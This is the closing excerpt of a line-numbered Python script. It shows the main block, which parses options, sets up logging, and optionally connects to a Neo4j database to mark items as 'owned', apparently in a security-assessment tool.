| 1851 | 1852 | if __name__ == "__main__": 1853 | try: 1854 | options = get_options() 1855 | logger = Logger(options.verbosity, options.quiet) 1856 | console = Console() 1857 | neo4j = None 1858 | if options.set_as_owned == True: 1859 | neo4j_options = Neo4jConnection.Options(options.neo4j_host, options.neo4j_user, options.neo4j_password, options.neo4j_port, logger) 1860 | neo4j = Neo4jConnection(neo4j_options) 1861 | neo4j._get_driver() 1862 | try: 1863 | neo4j._run_query("MATCH p=(n) RETURN p") 1864 | except AuthError as e: 1865 | logger.error("Error when connecting to the neo4j database, check the credentials") 1866 | exit(0) 1867 | except Exception as e: 1868 | logger.error("Other error occured: %s" % e) 1869 | exit(0) 1870 | main(options, logger, console, neo4j) 1871 | print() 1872 | except KeyboardInterrupt: 1873 | logger.info("Terminating script...") 1874 | raise SystemExit 1875 | --------------------------------------------------------------------------------